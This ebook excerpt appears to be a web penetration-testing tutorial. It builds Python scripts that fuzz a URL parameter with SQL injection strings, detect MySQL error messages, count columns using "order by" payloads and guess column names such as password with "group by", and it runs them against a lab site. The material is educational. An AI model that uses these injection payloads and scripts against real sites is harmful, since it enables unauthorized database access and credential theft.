Automating the detection

Let's go back to the editor and open, this in Section-6, SQLinjector-0.py. It's important to highlight that all the content and scripts are based on MySQL database and will only work with this database.

In the import section, we have the same content we were using in Chapter 5, Password Testing. Then, we have the typical banner and usage functions:

def banner():
print " ***************************************"
print "* SQlinjector 1.0 *"
print "***************************************"

def usage():
print "Usage:"
print " -w: url (http://somesite.com/news.php?id=FUZZ) "
print " -i: injection strings file "
print "example: SQLinjector.py -w http://www.somesite.com/news.php?id=FUZZ "

Then, we have the start function, which has nothing new. Then, we have the common options. We have two parameters, which are the URL to test and the dictionary of injections:

def start(argv):
banner()
if len(sys.argv) < 2:
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv,"w:i:")
except getopt.GetoptError:
print "Error en arguments"
sys.exit()
for opt,arg in opts :
if opt == '-w' :
url=arg
elif opt == '-i':
dictio = arg
try:
print "[-] Opening injections file: " + dictio
f = open(dictio, "r")
name = f.read().splitlines()
except:
print"Failed opening file: "+ dictio+" "
sys.exit()
launcher(url,name)

Then, we move to the function launcher. This will replace the FUZZ token, with all the injection strings provided in the input file:

def launcher (url,dictio):
injected = []
for sqlinjection in dictio:
injected.append(url.replace("FUZZ",sqlinjection))
res = injector(injected)
print " [+] Detection results:"
print "------------------"
for x in res:
print x.split(";")[0]

It will then call the injector and print the results. The function injector is the next SQL injection, based on errors:

def injector(injected):
errors = ['Mysql','error in your SQL']
results = []
for y in injected:
print "[-] Testing errors: " + y
req=requests.get(y)
for x in errors:
if req.content.find(x) != -1:
res = y + ";" + x
results.append(res)
return results

For this purpose, we have the array errors, which has the limited number of strings we found in Mysql errors. Then, we perform the requests, and if we find an error, we add the URL to the results array, which, finally, will be printed in the launcher function.

So, let's try this script. Remember the interesting files that we identified with our brute force script in Chapter 4, Resources Discovery? There was one file in particular that we needed to focus on. It's /users.php:

This file seems to take an input and return the user and row for that user ID. Let's see what happens if we put 1. You can see we get a response with the ID: 1, Name: johnny, and role: test in this case:

Excellent! Let's copy the URL to use as the input for our script.

Let's go to the console and run the SQL injector with the following parameters:

python SQLinjector-0.py -w "http://www.scruffybank.com/users.php?id=FUZZ&Submit=Submit#" -i injections.txt

These are the URLs that we copy from the browser and the injection files that we created for this exercise.

Next, press Enter:

We can see that the script detected the SQL error generated by the following characters; single quote and parenthesis.

We can check the browser to see the error that these characters generate. Now, in the browser, replace this 1 with ' and press Enter:

We can see that when generating an SQL error, we can manipulate that query.

Let's move on to improving the SQL injector script.

Now, open the script SQLinjector-1.py. You can see that we have two new functions, detect_columns and detect_columns_names:

def detect_columns(url):
new_url= url.replace("FUZZ","admin' order by X-- -")
y=1
while y < 20:
req=requests.get(new_url.replace("X",str(y)))
if req.content.find("Unknown") == -1:
y+=1
else:
break
return str(y-1)

def detect_columns_names(url):
column_names = ['username','user','name','pass','passwd','password','id','role','surname','address']
new_url= url.replace("FUZZ","admin' group by X-- -")
valid_cols = []
for name in column_names:
req=requests.get(new_url.replace("X",name))
if req.content.find("Unknown") == -1:
valid_cols.append(name)
else:
pass
return valid_cols

detect_columns tries to identify how many columns are being used in this select and, how many we are trying to manipulate. This information is important in order to craft our SQL query. In order to do so, we use the order by technique. We can add order by X, where X is a number. If the number is less than or equal to the number of columns, it will return results; if not, it will return an error. So, if we try this until we get an error, this will mean that the number of columns is less than X.

Let's see this in the browser. Now, we try with a' order by 1. We need to finish the query with -- - to avoid errors:

With 1, we get results. So, they use at least one column. Let's try with three. We get Unknown column '3' in 'order close':

This means that there are less than three columns.

In this case, it would be 2:

We also, have a new function called detect_columns_names. This function tries to identify valid column names in the table being used by the SQL query. This is useful because it will help us to tailor our query to extract data. We're going to use the group by technique. We add group by and the name of a column. If it exists, it will return valid results; if not, we get an error. The array column_names has a list of interesting names for columns, but in reality, you need an extensive dictionary of words to identify as many columns as possible.

Let's see an example in the browser. This time, we are going to use group and we are going to use password as a column name.

And then, we hit Enter. We can see that it is valid and we are getting the admin results:

But what if we use username for the column name? We can add username in the group statement. We can see that the column username is not valid:

Hence, we know the error message to identify invalid column names.

Now, let's run the script in the command line. We are going to change to SQLinjection-1.py and run it:

python SQLinjector-1.py -w "http://www.scruffybank.com/users.php?id=FUZZ&Submit=Submit#" -i injections.txt

We can see that we get the same results as before, plus the number of columns:

In this case, the number of columns is 2 and some of the column names found are name, passwd, id, and role.

Congratulations! You have created an SQL injector detector.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.119.131.72